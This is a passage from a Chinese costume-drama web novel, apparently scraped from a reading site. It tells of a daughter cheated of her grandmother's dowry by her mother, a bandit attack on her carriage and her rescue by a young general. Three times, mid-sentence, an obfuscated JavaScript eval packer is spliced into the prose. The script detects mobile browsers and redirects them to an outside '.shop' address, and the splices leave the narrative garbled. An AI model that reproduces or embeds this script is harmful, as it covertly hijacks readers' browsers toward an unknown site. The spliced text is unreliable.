门外的丫鬟挑起缎帘,还不待进去,便觉一股暖气扑面而来。 澄心堂经过几次翻新,原本剥落的红柱更为鲜亮,两旁摆着的桌椅都是正经黄梨花木的,发着淡淡木香,闻新绿记得,前几日来澄心堂请安摆的还不是这套桌椅,且不知为何,她看着总觉得有些眼熟。 “怎么这个时候过来了?”沈岚放下茶,淡淡问。 闻新绿行了礼,将来意说了:“回母亲,今日来是有一桩正事,当初祖母去时,给我留了一份嫁妆,只是那时年幼,全赖母亲打理,如今女儿婚期已近,不好再叨扰母亲,所以来取回嫁妆。” 她轻轻呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164430|196638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一口气,打了这么久的腹稿,想必是万无一失吧。 谁知母亲却拧眉看过来:“什么嫁妆,我怎么不知道有这回事?” 这般怪罪的语气叫闻新绿愣了,她讷讷道:“当初伴秋伴夏还有严嬷嬷都听到了,是祖母亲口说的。” 沈岚本想糊弄过去,那两箱嫁妆原本她的确是想让女儿带走的,可是如今诗予没了这么好的婚事,受了这么大的委屈,沈岚觉得这就该新绿补偿诗予的。 只是她没想到,这个女儿竟记起了此事,还扯了这么多人来,那便不好办了。 她看了看诗予,她规规矩矩站在一旁,从来都不争不抢,叫她心疼。她想,东西既然已经给了人家,那又怎能反悔,如今再去取回来,岂不是羞辱人。 于是沉默良久,沈岚道:“好似确实有这回事,”她叫来外面的江嬷嬷,“去我的库房瞧瞧,可有两箱牡丹花纹的樟木箱,若是有,想必就是老夫人留下来的东西,叫人送去栖云阁吧。” “多谢母亲。”闻新绿露出笑颜,她就知道,母亲怎么会是伴秋说的那种人呢,伴秋定是多虑了。 却不知一旁的江嬷嬷心里正嘟囔,牡丹花纹的箱子里装的都是一些夫人用腻了的东西,不值什么钱,把这送给小姐?也好,反正诗予小姐才有出息,新绿小姐嘛,随便糊弄糊弄得了。 她便心安理得叫人把那两箱子破烂送走了。 回到栖云阁,伴夏马不停蹄进了内室:“我去取老夫人给的嫁妆单子来对,本来还以为夫人不肯给呢,没想到夫人还怪好的嘞。” “那是我的母亲,自然好啦。”闻新绿抚摸着陈旧的樟木箱,掀开箱盖,却见里头的器物都蒙了一层薄薄的灰尘,不由心疼起来,拧了帕子轻轻擦拭。 这是祖母留给她唯一的念想了。 “来了来了,”伴夏飞奔着出来,展开嫁妆单子,“首先是沉香木镶玉如意一对。” 她将箱子里的东西一一摆出来,咦了一声:“怎么还有缺了个口的瓶子,库房的下人怎么保存的?” 可越摆她却越觉得不对。 当初老夫人为小姐整理嫁妆的时候她也在旁相帮,明明看见的都是镶宝石的璎珞、金手镯金项圈、丝绸缎料、上等银狐皮等,怎么如今变成一堆破烂了? 她越瞧,神色越沉重,不信邪地取出每一件东西,然而直到最后她也没瞧见嫁妆单子上的任何一件物品。 “这不对,”她掷地有声,“这根本就不是老夫人给您留下的东西,小姐,我们被骗了!” 闻新绿擦拭的手一顿,不解:“你说什么?” 伴夏呈上单子,只看了一眼,闻新绿就知道祖母花了多少心思为她备下这些,然而再一看眼前,刺目得让她闭了闭眼。 “或许是江嬷嬷送错了,”她这般安慰自己,“库房里这么多东西,送错也情有可原。” “江嬷嬷或许是送错了,那夫人呢,库房里就这两口樟木箱是牡丹花纹,难道夫人连自己的东西都记不清吗?”伴夏愤愤道,“小姐,您不要再相信夫人了,她的心中只有表小姐,过年世子送来的年礼,明明交代好了那柄金项圈是您的,可表小姐一句喜欢,夫人就强逼着您换,她要您简朴度日,每月只有二两银子,表小姐却穿金戴银,时不时就在外当散财童子,您觉得这钱是哪里来的,她那个五品父亲有这么多钱财供她挥霍吗,还不是夫人给的!” “别说了!”她颤抖着声音制止。 可越是不愿去想,那些细节就越是反扑上来。闻新绿是比不上表姐聪慧,可她不傻,她又怎能不知母亲心里没有她,但那是母亲啊,生她养她的母亲,她就这么一个最亲的亲人了。 闻新绿宁愿装作什么都不知道,这样她就还有母亲,谁都不知道戳破美好泡沫之后,会露出来怎样结局。 她抹掉将落未落的泪珠,镇定道:“伴夏,一定还有办法的,我不会叫祖母的东西落到旁人手中,即便是我母亲。” 5. 第五章 长兴伯府,听到大姑子说的话,王瑗惊讶地合不拢嘴:“什么,换成诗予嫁给斫年?”她面露疑色,“真的假的,诗予也同意?” 沈岚何尝不觉得可惜,但外甥女已做了决定,她也不好说什么,便笑道:“诗予若是不同意,我怎敢过来同你说这件事,你只用说愿不愿意诗予做你的儿媳妇,你也知道,追着诗予的勋贵子弟可多着呢,个个就等着诗予点头。” “愿意,当然愿意,”王瑗开心地直拍大腿,诗予可是人人都想要的好儿媳,谁人不夸她端庄大气,是京城贵女之典范,她怎么都没想到这么好的儿媳会落到她头上,不过……“诗予怎么突然就要嫁给斫年,她不是与平渭郡王订了婚吗?” 沈岚便捡着利于诗予的话说:“本是如此,可谁知岑儿私下去对八字,人家却说两人八字相克,那太妃为了将诗予娶过去,竟瞒了我们这么大的事。” “还有这事?”王瑗立马精神起来,“那后来呢,太妃能让你们退亲?” 得知要换成沈岚的亲生女儿,勤王府太妃自然是不愿,可后来一打听到新绿的名声与性情,顿时一百个一千个愿意,邀着请着同意了此事,这话沈岚自然不会对大嫂说,只道:“这事传出去也是太妃不占理,她自然只能同意。要说斫年也是运气好,没有这一遭,诗予怎会同意嫁他。” 叶诗予虽好,可斫年在王瑗心中也不差,她微妙地笑了笑。 “那此事就这么定了,今日索性咱们将婚期定下,也不要到五六月了,就下个月吧,四月二十三,那是个顶顶好的日子,你说如何?” “这么急?”王瑗心中有些打鼓,理智回笼后,她才想起自家儿子对新绿那是有男女之情,认她为妻的。当然,她不觉得斫年蠢到放着诗予不要,依旧要娶新绿,只是此事总得从长计议。 沈岚却道:“你若是不肯,那就当我没说过,国公府的二公子昨日还特意差人来送礼呢。” “我不是这个意思,”王瑗为难道,见大姑子真要走,连忙拍板,“那就这么定了,四月二十三斫年前来迎娶诗予,时间真是够紧的,我这才准备了一半呢。” 沈岚笑:“待诗予进府,你就享清福吧。” 沈岚功成身退,她前脚刚走,沈斫年就从书院回来了:“娘,我方才在府外好像瞧见了姑母的轿子。” 王瑗喜笑颜开:“你的婚期定了,就在下个月的四月二十三,怎么样,娘没给你掉脸吧?” 沈斫年露出喜极的笑:“多谢娘,怎么劳动姑母亲自上门,是该我亲自去拜见才对。” 王瑗神色一僵,看着儿子高兴地找不着北的模样,原本到嘴边解释的话突然一顿:“这些日子,你不要天天去书院了,多在家歇息歇息,准备准备,咱们以最好的面貌去接你表妹。” 沈斫年没想到母亲竟这般体贴,原先他还觉得母亲对表妹有些冷淡,如今这般正好。他拱手行礼,笑意怎么都止不住:“是,儿子都听娘的。” “对了,”王瑗背对着儿子,声线含糊,“这一个月你也不许去找你表妹,都快成亲了,还这般轻浮成何体统?” 沈斫年笑容微敛,明白母亲说得在理,郑重点头:“娘放心,我一定克己复礼,遵循礼教,绝不坏了表妹的名声。” “你懂事就好。”王瑗紧紧捏着檀木椅上的把手,直至儿子离去,也没有松开手。 - “你说什么,咱们新绿要嫁给平渭郡王,真的假的?”文安侯前脚刚到澄心堂,椅子还没坐热呢,后脚就听到这么个不可思议的消息,想起那个常常低着头,半点不像他的大女儿,再想想记忆中骁勇善战的郡王,文安侯砸吧砸吧嘴,“你没诓我吧。” 妻子那个外甥女能有这般气度? 沈岚嗔他一眼:“这还能有假,人家连定礼都重下了,瞧瞧这新聘书,你自己女儿的名字不认识?” “我这不是没想到吗,怎么这么突然,你怎么做到的?” 具体什么缘由沈岚自然不会告诉他,只道诗予与郡王八字不合,而新绿正巧合上了,太妃瞧过觉得没问题也就应了。 没想到她都这么说了,文安侯还是问了一嘴:“就拿了新绿的八字去,若涵的没去瞧吗。” 沈岚从鼻子里哼了一声:“新绿与郡王乃是百年难遇的天作之合,大师见了都夸,要不然太妃为何能同意,你也不想想。” 文安侯呵呵一笑:“我这不是随口一问嘛。” 不是他偏心,大女儿与郡王实在不般配得很,一个文弱一个冷面,倒是他的二女儿,聪明伶俐,生得比她母亲还要好看几分,若是让若涵去,这郡王妃之位说不准稳妥许多。 可惜了这八字。 看出他的想法,沈岚冷笑一声,真是猪八戒照镜子——好大一张脸。 新绿好歹是侯府嫡女,也不看看他那个宝贝小女儿什么身份,从什么女人肚子里钻出来的,即便再好的八字,人家也不屑要。 她幽幽道:“新绿定了这么好的一门亲,你这个做爹的就没什么表示?” 文安侯立马捂紧了口袋:“你什么意思,库银不都在你手里管着,我哪有什么东西可表示的。” 沈岚忍着怒气:“你没什么东西,那上个月闻若涵房里那幅三百两的山水图哪里来的,都是你的女儿,你怎能如此厚此薄彼!” 文安侯闻言有些心虚,但很快找到了妻子的把柄,讽笑道:“那叶诗予还不是你的女儿呢,你不一样偏心吗,你偏你的,我偏我的,咱们半斤对八两,你好意思来说本侯?” “你!”沈岚气得浑身发抖,文安侯却一点都不在意。 “我再怎么说也是补贴自己骨肉,你却给个外姓人,你的嫁妆我说不着,但你记着,这文安侯府将来是要留给伯明的,若是让我发觉你动了不该动的,这侯夫人你不当也罢。” 文安侯挥袖走了,沈岚在他身后怒喊:“你懂什么,诗予这么七窍玲珑的人,你那庶女怎么比!” 江嬷嬷与秀珠连忙上前安抚夫人,沈岚实在气不过,一把掀了桌子,哭道:“我这是为了谁,还不是为了伯明,为了这个侯府,你们一个个的竟都欺我,滚,都滚!” 文安侯早没了影。 - “夫人早就将老夫人留给您的东西送去栖凤阁了,”秀珠四处看看,紧张道,“小姐,您可千万别说是我同您说的,要是让夫人知道了,非剥了我的皮不可。” 即便过了几日,秀珠姐那些话依旧历历在目,闻新绿每回想起,心就像被拧作一团,连空气都变得凝滞。 谁能想到她最信任的母亲,却侵吞了她的嫁妆给表姐。 若是旁的,她让也就让了,可这是祖母留给她的,独留给她的。 “小姐,”伴夏匆匆进门,冲她摇头,“还是没有消息。” 闻新绿眼神黯了黯。 母亲既然刚光明正大调换嫁妆,那自然不会轻易让出,闻新绿无法,只得去请已经回乡多年的严嬷嬷。 严嬷嬷是伺候了母亲一辈子的长辈,即便是父亲在她面前也要礼让三分,若有严嬷嬷相帮,或许还有机会将嫁妆取回来,只是严嬷嬷离去后就没了音讯,两人只知晓她随儿子搬去了京郊的一个村子,离这有好几十里路,其余的一概不知。 无奈之下,闻新绿只得求助表哥,只是不知为何,她将信寄出已有三日,若是从前表哥早就回信了,可如今却好几日都没有消息。 要不再写一封?除了求表哥,闻新绿竟想不到还有谁能够帮她。 正落笔时,却听门外有人提醒:“侯爷来了。” 闻新绿慌忙将信掩藏,急急起身行礼:“女儿给父亲请安。” 自闻新绿住进栖云阁起,几乎就没见过文安侯来她的栖云阁,父亲突然的来临叫她有些无措。 文安侯自然不知道闻新绿在想什么,只是见到她慌张的样子啧啧两声,这幅模样,终究还是上不得台面,真能与平渭郡王相配吗? 只是婚事都定了,再想这些也无用,他做出慈爱面容,打量着四周:“也有好些日子没见你了,近日可好,可有什么缺的?” 闻新绿受宠若惊,连忙摇头:“女儿这里一向都好,不知父亲此次前来是有何事?” 文安侯呵呵笑道:“我能有什么事,就来看看你。真没什么缺的?你看你这摆的花瓶,都是什么时候的纹样了,还有这屏风,颜色都褪了怎么还摆在这,”他不满道,“下人都是怎么做事的?” 文安侯脸一板,伴夏就开始抖腿,闻新绿连忙解释:“是我念旧,一直没换,伴夏,还不快给父亲看茶。” 茶水很快就端了上来,文安侯一尝,脸色更难看了:“这都什么,放了三五年的茶,也敢呈给本侯?” 闻新绿自责道:“都是女儿的错,女儿这里就只有这种茶,我现在就去叫人买……” 若不是知道自己这个女儿最是纯良,文安侯都要以为她是借茶给自己上眼药了,但究竟是怎么回事,他一想便知。 再看这显得空荡简朴的栖云阁,文安侯暗叹一口气,无论是若涵的房间,还是诗予住的栖凤阁,哪一间不是富丽堂皇,他嫡亲的大女儿却住在这破烂房间里,喝着下人用的茶,文安侯意识到确实亏欠她许多。 这一切都是沈岚的错,她就是这么管着后院的?她偏疼外甥女,有没有想过新绿才是自己的亲生女儿! 带着怒意,文安侯吩咐自己的随从,很快就有人将崭新的家具、名贵的茶叶取了过来,不多时,栖云阁焕然一新。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164431|196638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻新绿惊讶地看着眼前的变化,更惶恐了:“父亲,我并没有向您抱怨的意思,这里我住了这么多年,都习惯了。” 文安侯慈爱道:“这是爹应该做的,唉,说来也怪我,这么多年尽在外头忙碌,竟没顾得上你,你别怪爹,爹不是故意的……” “怎么会呢?”闻新绿眼皮烫了起来,她心中涌起无限的热意,原来爹还是在意她的吗? 文安侯从怀中掏出一张银票放到桌上:“如今爹也老了,也到了含饴弄孙的年纪,可惜错过了你这么多岁的年华,只希望为时不晚,给爹一个补偿你的机会。” 闻新绿几乎要哭出来,这么多年,父亲终于看见她了。她想将嫁妆一事说出来,求父亲做主,可是不知为何话到嘴边就说不出来了,或许是想起了小时候,父亲背着二妹妹在花园扑蝴蝶,她欣喜上前却被人赶了出来,她不解地喊着父亲,可得来的不过是一个冷漠眼神。 闻新绿泪意蓦地止住,那些感动就像退潮的浪潮,瞬间无影无踪。 “爹,我不要银子,我确有一桩事想求您,严嬷嬷走了有三年,可我一直联系不上她,如今我即将出嫁,可否请她来一趟侯府?” “当然可以,”文安侯答应得很痛快,“你把她的地址告诉三五三六,叫他们去请就行。” 闻新绿心下一松,不知该如何感谢父亲好,父亲却道:“不过是一桩小事,再过一个月你就要出嫁了,为父能为你做的也不多。” 闻新绿却愣了:“一个月?婚期已经定下来了吗?” 文安侯喝着今年刚送过来的碧螺春,终于满意了:“是啊,怎么,你还不知道?” 闻新绿点点头,喃喃道:“这么快?” 文安侯却疑惑:“快,不是和之前一样的日子吗?” 闻新绿更迷惑了,之前又什么时候定了婚期,然而还不等她问,文安侯就被叫走了,她只能压下疑惑,同伴夏一道高兴起了能再见严嬷嬷一事。 - 文安侯刚走,伴夏就去拜托三五三六,此二人身兼马夫与护卫,平日里只给侯爷办事,闻言只是点点头:“知晓了。” 伴夏便以为事成了,谁知等第二日她去等严嬷嬷,却见两人嘻嘻哈哈从府外回来,见了她只作没看到。 伴夏忍着怒意问他们怎么没去接人,一个道:“今日侯爷吩咐了别的事。”一个道:“我又没见过严嬷嬷,怎么去接人。” 于是伴夏就说等明日和他们一同去,谁知早上去等着的时候,等了半天都不见人影,问了人才知道他们今日请了假,正在小厮房睡得呼噜震天响呢。 伴夏被他们惹哭了,回栖云阁和小姐告状:“他们根本就是阴奉阳违,不想去接人。” 这也不是办法,于是闻新绿就想出了个法子,她一同前去,三五三六敢怠慢伴夏,但是敢怠慢她吗,这可是侯爷下的命令。 于是第四日清晨,几人终于是从侯府出发了。 还没走出城门口,三六就开始嘟囔:“这位小姐可真是麻烦,咱们都这样了,她还敢来,去找个老太婆哪用得上我们,随便叫两个会赶车的小厮不就行了。” “就是,我们练了这么多年武,简直大材小用。” 两人十分不爽,于是就开始在车外叫唤:“哎呀,要说这府里还是表小姐最好,叫咱们办个事都会给个赏银,今日来回要跑五六个时辰呢,却连个荤腥都见不着,这日子,没办法过了。” 伴夏在车厢里听得一清二楚,刚想出去骂人,被闻新绿拉住了,她从荷包里取出二钱银子,安抚道:“他们也不容易,天还没亮就要起床套车,他们跟着父亲走南闯北,去的地多,还得靠他们认路呢,就别和他们计较了。” 伴夏气咻咻地接过银子,深呼吸了好几下才压下怒气,探出头去:“喏,小姐给你们的赏银,闭上你们的嘴,好好赶路。” 虽然三五三六觉得钱有些少,但不要白不要,他们接下了,坏水却还在冒,三六努努嘴:“这小丫头片子,也只会狐假虎威了,怎么说,给她们个教训?” 两人使了个眼色,心照不宣。于是走到一半,闻新绿和伴夏忽然发现路磕绊起来,两个人坐都坐不住,伴夏还撞了头。 伴夏怒气冲冲喊道:“你们两个会不会赶车!” 三六笑嘻嘻:“伴夏妹妹,没办法,这一段路就这样。”他可是故意绕了小路呢。 正开心着,远处忽然冒出几个挡着脸的壮汉,待两人看见时回头已来不及,他们连忙握住身旁的刀,颤抖着声音:“这里怎么会有打劫的?” 车忽然停下,伴夏满脸怒火掀开帘子,却见不远处几个大汉正挥刀跑过来,而三五三六两个杂种早就不见了,伴夏吓得浑身都软了,叫道:“有劫匪,小姐快跑!” 6. 第六章 一半人去追三五三六了,还有三个正往这边赶来,见到车里还有女子顿时露出不怀好意的笑。 闻新绿不知道哪来的一股力气,将伴夏推下车厢,接着狠狠踹了马儿一屁股,自己骨碌碌滚下了马车。 “小姐!”伴夏扶起她,闻新绿顾不得身上的疼痛,拉着她往反方向跑,而追来的那三个劫匪在马车的冲撞下不得不滚到一旁避险。 三个劫匪滚了一身伤,骂道:“奶奶个熊,痛死俺了,别让她们跑了,!” 而另一边的三五三六由于拿着刀,吸引了五六个人前去围剿,不一会就败了下来,三六喘着粗气,看着脖子上亮闪闪的刀,颤抖着声音道:“好汉饶命,我给钱,你们让我作什么都行,求求别杀我,那边的是文安侯家的小姐,对,她们值钱,你去追她们吧!” 然而劫匪只哼了一声,便提刀落下,两颗人头骨碌碌滚到一边,冲小弟喊:“还不快去抓人,谁抓到那个小姐,我重重有赏。” 那五六个人便欢呼着一齐追向了两个小姐。 身后的脚步声与喊叫声越发清晰,仿佛近在耳畔,闻新绿头都不敢回,抓着伴夏,只知道往前跑,她怕一旦回头,自己就失了那股子劲。 劫匪的声音似从四面八方传来:“别跑了,乖乖停下吧,这里连个人影都没有,没人救得了你们,再跑别怪我们不留情,敬酒不吃吃罚酒。” 伴夏吓得脚一崴,差点摔倒,她再想动,却发觉脚踝疼痛难忍,看着用尽力气拖着自己的小姐,伴夏心一横:“我跑不动了,小姐你走吧,我留下来拦住他们。” “不行!”闻新绿紧紧抓着她,“要走一起走,你不走我也不走。” “小姐!”伴夏真不知道该怎么说自己的傻小姐,眼下是真的会没命的! 不,她不能让小姐死,眼看着小姐就能嫁给表少爷,就要过上好日子了,她怎么能让小姐落入这帮穷凶极恶的劫匪手里。 她咬咬牙:“小姐咱们分开跑,你往东,我往西,总有一条路能出去。” 闻新绿犹豫了一下,松开手:“好,伴夏,一定要活着,我们一起出去!” 伴夏点点头,泪水在眼眶中打转,待小姐跑出一段距离后,她忽然停下,直直望向那些追过来的劫匪。 六岁那年冬天,是小姐把她从雪里挖出来,给了她一条命、一个家,自那时起伴夏就决定这条命就是小姐的,如今能为小姐牺牲,她觉得值了。 “过来啊!”伴夏拣起石头,冲那些劫匪挑衅地扔过去,“怎么连我一个女子都追不上,是不是男人,怎么一点用都没有。” 听到这话,那些劫匪果然一窝蜂朝她围过来,脸上带着恼怒:“这丫头片子真不怕死,让她尝尝我们的厉害!” “伴夏!”闻新绿回过头,然而已经来不及了,那把大刀就在伴夏面前挥舞着,闻新绿浑身血液都冷凝起来,就在此时,一支飞箭从脸庞擦过,正中举刀人的眉头。 “什么人!”原本邪笑着的劫匪惊慌起来,循着箭望去,却仿佛见到了地狱一般,瞪大眼睛惊恐后退:“是士兵,跑,快跑!” “追!”只听一声令下,数十位穿着盔甲的士兵追着劫匪而去,闻新绿死里逃生,哭喊着跑到伴夏身边:“伴夏,你别吓我,你别死,你死了我怎么办?” 伴夏嚯地睁开眼,往身上摸了摸,兴奋道:“我没死!小姐,我没死!” 闻新绿却哭得停不下来,她差点就失去了伴夏。 “这位姑娘,先别哭了,”一个穿着红衣容貌昳丽男子走过来,只见他扇子一打,说不出的风流倜傥,“将军要问你话。” 闻新绿擦擦泪,顺着他眼神看去,见到了一张更为丰神俊朗的脸。 这张脸作为将军实在是太年轻,闻新绿愣了一下,想到是他救了伴夏和自己,走到他面前就要跪下:“多谢将军出手相救……” “不用跪,”李璟亓眼疾手快,出剑架住了她。眼前的女子衣着朴素、头戴银簪,看起来就像是普通人家的女儿,可无论走路还是行礼,都透露着时常训练的痕迹,李璟亓问道,“你叫什么名字,是哪家的女儿,这里荒无人烟,来这作什么?” 即便眼前的人救了自己,还被称作将军,可闻新绿还是留了个心眼,没讲实话:“我姓沈,住在京城桐树胡同,此番是想去宝山村找从小照顾我的嬷嬷,因路远,父亲还特意叫了两个小厮跟随,却不想竟遇到了这场祸事……” 想起那些凶神恶煞的劫匪,闻新绿的眼泪又开始淌,她有些着急,自己并不想哭,可是不知为何怎么都止不住。 “对不起,是我失态了……”她抽噎着道歉,李璟亓沉默看着,从袖口掏出一方帕子:“擦擦吧。” 她看起来可怜得很,或许是方才急着逃命,身上到处都是伤痕,李璟亓打量着,判定此二人并不像探子,不过也不可掉以轻心。 很快去追劫匪的士兵们就回来了,剩下几人被五花大绑捆了回来,只见方才还凶神恶煞的劫匪们如今都哭着喊着求饶命,一个劲的叫冤枉。 李璟亓利眸扫去,方才还收敛着的煞气毫无保留释放:“光天化日,天子脚下,竟还有你们这等恶贼欺辱良民,来人,给本将军提刑审问。” 见士兵们拿刀的拿刀,举鞭子的举鞭子,几个大男人又鬼哭狼嚎起来:“将军饶命啊,将军饶命,我们也是逼不得已。” 听了他们颠三倒四的求饶才知道,他们原是山东逃窜而来的流民,因没地没粮只能落草为寇,靠打劫为生。 其中一人还道:“”将军明鉴,我们也就是吓唬吓唬人,我们哪敢真动手。” 李璟亓冷笑一声:“难不成还要本将军奖赏你不成?” 那人谄笑着摇头:“不敢不敢,只求将军饶了我们几个苦命人,留我们一命。” 伴夏在后面急得差点跳起来:“将军您千万别信这群王八蛋说的话,我亲眼看见他们杀了三五三六,若是真像他们说的一般只求财,我和小姐又何必逃。” “你这死丫头!”劫匪恶狠狠瞪去,吓得闻新绿与伴夏脸色发白,只见银光一闪,瞪人者一声惨叫,两双眼睛成了血洞,吓得其他人顿时哭嚎起来。 李璟亓下令:“就地解决。” 等闻新绿再看去时,只见地上躺了数道横七竖八的尸体,她既觉得痛快,又忍不住反胃,看了一眼便不敢再看。 士兵们清理了尸体,闻新绿拜托他们将三五三六的尸体一并埋了,本想给银子,他们却都不要,说是将军不准。 处理完尸体,众人啃起干粮稍作休整,闻新绿两人又饿又累,却没什么食欲,伴夏面色发愁,问小姐:“咱们现在该怎么办,该怎么回去?” 闻新绿听见一旁有人在说着京城之类的字眼,便道:“等下我去问问他们,若是顺路能不能送我们回京城。” 谁知方才帮忙埋尸的士兵却道:“我们做不了主,你得去问将军。” 闻新绿便看向那位将军,还没两息,那位将军就似有所觉般侧头看来,闻新绿慌忙移开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164432|196638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线,不知为何,这位将军年纪虽不大,却给她一种比父亲更可怕的气息,或许是他杀人如切菜一般,万一她问着问着又哭了,将军觉得她麻烦,将她们抛下怎么办? 可这实在是她控制不来的东西,光是想想,闻新绿眼睛又要冒泪花了。 正不知如何是好时,一抹红色印入眼帘,闻新绿眼前一亮。 红衣男子正坐在将军身边不知道说些什么,虽说穿得奇怪,但这正说明红衣男子身份不低,且红衣男子常常笑着,比起将军来要可亲许多,或许可以求助他。 闻新绿瞅准了机会,当红衣男子离开时连忙跟了上去:“大人,小女有一事相求,大人们可要回京,可否带我们一同回去,我、我愿意付银子。” 李璟延掏掏耳朵,纳闷道:“你们不是要去宝山村吗?” 闻新绿一愣,点头:“是,可是我们连马车都没了,我们两个女子恐怕……” “将军没和你们说吗,”李璟延实在有些憋得急,想找地方解决,急匆匆道,“他正好也要去一趟宝山村,会亲自送你们过去,好了好了,赶紧回去吧,我这还有事呢。” 说罢,他三两步就没了身影,闻新绿则愣在了原地,许久才小步往回走,她走得很慢,这个方向正好能看到将军的背影,修长又挺拔,好似一棵青松般,与凌厉的面孔截然不同。 李璟延放完水回来一身轻松,大大咧咧地就要揽上兄长:“璟亓哥,你没同那两个姑娘说会捎上她们啊,那个绿衣裳的姑娘刚才还来问我能不能带上她呢,还说要给银子,真逗……” 李璟亓侧身躲过,拧眉直视,李璟延在注视中讪讪取下水囊,倒了点水:“不就没洗手嘛,我这就洗还不行嘛,什么破毛病。” “你方才说,她们来找你?” 李璟延点点头:“是啊,倒是有眼光,没找你反倒找上了我,哎璟亓哥,你说她会不会看上了我?” “……”李璟亓连一个多余的眼神都不想给他,站起身道,“你一声不吭来了甘肃,一待就是半年,想必慎王叔父和叔母都十分想念你,我已向他们传信告知你今日便会回京,时辰不早了,你赶紧上路吧。” 李璟延脸色顿变。 他是慎王与王妃的独子,两人将他看得如同眼珠子一般,偏偏李璟延立志要当如同李璟亓一般的大将军,慎王与王妃自然不肯,可李璟延一身反骨,趁父母不注意偷偷溜了,这半年里给家里寄了几封信,却一封回信都没收到,可见慎王与王妃有多生气。 李璟延已经能想象自己被父母逮住之后的凄惨生活,他抱着自己的宝马乌骓,凄凄道:“我能不能现在就回甘肃?” 李璟亓朝他摇摇头,接着一个眼神,一名副将就利落把人捆了起来,李璟延悲愤道:“李璟亓!我好歹也在甘肃给你当了半年的免费军师,你怎能这么对我,我还是不是你弟弟?!” 李璟亓轻叹:“不要怪我,我也不想的,可我已经答应了叔父,就只能对不起你。” 闻新绿与伴夏远远看着,只见红衣男子被捆起来带走了,震惊地对视一眼:“这是……起内讧了吗?” 李璟亓走了过来,还没开口就见她们齐齐一抖,李璟亓沉默了,冷淡撂下一句“跟着我们”后,走到副将身边,不解地问:“我看着很吓人吗?” 副将看着那张比棺材板还冰冷的脸,龇牙挤出个笑:“不吓人,一点都不吓人,谁敢说将军吓人,那一定是他眼睛瞎了,我一定把他打得满地找牙!” “……” 7. 第七章 小歇完,一行人陆陆续续起身准备上路。 而闻新绿看着被牵到面前的马,比她人还高,再看看将军那张冷冰冰的脸,为难低下头:“我、我不会骑马……” 伴夏也哭丧了脸:“我也不会。” 李璟亓沉默了一会,问副将:“她们的马车呢?” 副将两手一摊:“那马受了惊,逃跑时把马车撞了个稀巴烂,坐不了了。” 这地方连户人家都没有,更别提什么租赁马车了,闻新绿环顾四周,弱弱道:“那,我们跟在后面走可以吗?” “那咋行,”副将大大咧咧,“你这细胳膊细腿的,这里离宝山村还有十里地呢,我看你走三里都悬乎……” 副将的声音在将军的凝视下越来越小,他使劲动脑:“要不这样吧,你俩要是不介意,我找两个人带你们呗。” “那怎么行!”伴夏尖叫,“你知道我家小姐是谁吗,若是坏了我家小姐的名声你赔得起嘛你!” “这样不行那也不行,我管你是谁,你们自己留在这过夜得了。” “伴夏/周诚。” 闻新绿拉住伴夏的衣裳,偷偷觑着将军脸色,生怕他一气之下真把她们两个扔在这荒郊野岭了:“不用听伴夏的,我们都可以,还是先去宝山村吧,麻烦将军叫人带我们一程,我们万分感激,以后一定报答将军。” 一边又对伴夏道:“咱们死里逃生,还在意什么名不名声的,就十里路,忍一忍,等到了宝山村我们就雇辆车,好不好?” 伴夏还是担心,名声对一个女子来说,不亚于性命:“可若是被旁人知晓……” “不让旁人知道不就成了,”她偷偷在半夏耳边道,“等回到京城,咱们就偷偷回府,不让他们知道我们是谁。” 也只能如此了,伴夏如丧考妣,却见那将军牵过自己的马,对着小姐道:“你骑上去,我牵着马,不必同乘一骑。” 闻新绿惶恐:“那怎么使得,怎能让您走路呢。” “我为什么不能走路?”李璟亓笑了笑,“上来吧,时辰不早了。” 周诚目瞪口呆看着自家将军的笑容,他、他是眼花了吗,将军竟然在对女子笑,温和得跟变了个人似的,天呐,这还是那个不近女色、毫无人性的冷面阎王吗。 将军都以身作则了,周诚只能叹息着牵来自己的马,对那小丫鬟道:“你真是沾光了,上去吧。” “嘁。”伴夏对他翻了个白眼,轻轻松松翻上了马车。 周诚再看旁边,那位小姐表里如一,果然翻不上去,只见自家将军一用力,就掐着人家腰送上去了。 啧啧啧,啧啧啧,周诚只会啧啧啧了。 伴夏烦得再次翻了个白眼,暗戳戳看向小姐与那个将军,她左看右看,都觉得那个将军对她家小姐有不轨之心,将军人虽好,但是对不起,她家小姐有婚约了,她得一眼不错地盯着那将军,可不能叫他勾引了自家小姐。 - 约莫半个时辰后,一行人就到了宝山村,宝山村坐落在宝山脚下,风景如画,只是如今大家都没有心思欣赏风景。 